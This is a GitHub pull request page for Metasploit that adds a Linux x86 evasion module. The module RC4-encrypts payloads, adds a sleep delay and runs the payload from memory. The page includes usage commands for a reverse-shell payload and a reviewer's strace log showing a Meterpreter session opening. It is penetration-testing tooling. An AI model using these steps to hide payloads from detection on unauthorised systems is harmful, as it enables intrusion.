Skip to content

adding RC4 packer x86, rc4 decrypt routine and sleep evasion routine#20965

Merged
dledda-r7 merged 8 commits intorapid7:masterfrom
litemars:add_Linux_evasion_module-rc4_packer_x86
Mar 3, 2026
Merged

adding RC4 packer x86, rc4 decrypt routine and sleep evasion routine#20965
dledda-r7 merged 8 commits intorapid7:masterfrom
litemars:add_Linux_evasion_module-rc4_packer_x86

Conversation

@litemars
Copy link
Copy Markdown
Contributor

@litemars litemars commented Feb 12, 2026

Description

This PR introduces an x86 Linux payload packer that encrypts the generated payload with RC4, prepends an optional sleep-based delay (nanosleep), and decrypts/executes the payload at runtime via a compact precompiled stub.

What’s included

  • x86 RC4 packer (Evasion Linux Module)
  • x86 sleep evasion prepend (Mixin)
  • x86 RC4 decryption stub (Mixin)

### How to use it - BASIC

  • use evasion/linux/x86_rc4_packer
  • set payload linux/x86/shell_reverse_tcp
  • set LHOST x.x.x.x
  • run

Optional

  • set SLEEP_TIME x

Comment thread lib/msf/core/payload/linux/x86/rc4_decrypter.rb Outdated
Comment thread lib/msf/core/payload/linux/x86/rc4_decrypter.rb Outdated
Comment thread lib/msf/core/payload/linux/x86/sleep_evasion.rb Outdated
Comment thread lib/msf/core/payload/linux/x86/sleep_evasion.rb Outdated
Comment thread modules/evasion/linux/x86_rc4_packer.rb Outdated
Copy link
Copy Markdown
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

┌──(kali㉿kali)-[~/Public]
└─$ strace ./metsrv.x86.rc4.elf 
execve("./metsrv.x86.rc4.elf", ["./metsrv.x86.rc4.elf"], 0x7ffeb1fa18f0 /* 57 vars */) = 0
[ Process PID=123778 runs in 32 bit mode. ]
nanosleep({tv_sec=1, tv_nsec=0}, NULL)  = 0
mmap(NULL, 321, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7fad000
memfd_create("", MFD_CLOEXEC)           = 3
write(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0T\200\4\0104\0\0\0"..., 207) = 207
execve("/proc/self/fd/////3", NULL, NULL) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
msf evasion(linux/x86_rc4_packer) > 
[*] Sending stage (1062760 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:40816) at 2026-02-27 07:08:47 -0500

msf evasion(linux/x86_rc4_packer) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.18.5+kali-amd64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > 

@github-project-automation github-project-automation Bot moved this from Todo to In Progress in Metasploit Kanban Feb 27, 2026
Comment thread modules/evasion/linux/x86/rc4_packer.rb Outdated
@dledda-r7 dledda-r7 merged commit 38dbefe into rapid7:master Mar 3, 2026
71 of 74 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Mar 3, 2026
@adfoster-r7 adfoster-r7 added the rn-modules release notes for new or majorly enhanced modules label Mar 3, 2026
@adfoster-r7
Copy link
Copy Markdown
Contributor

Release Notes

Adds a new module evasion/linux/x86/rc4_packer that encrypts the generated payload with RC4, prepends an optional sleep-based delay (nanosleep), and decrypts/executes the payload at runtime via a compact precompiled stub.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

rn-modules release notes for new or majorly enhanced modules

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants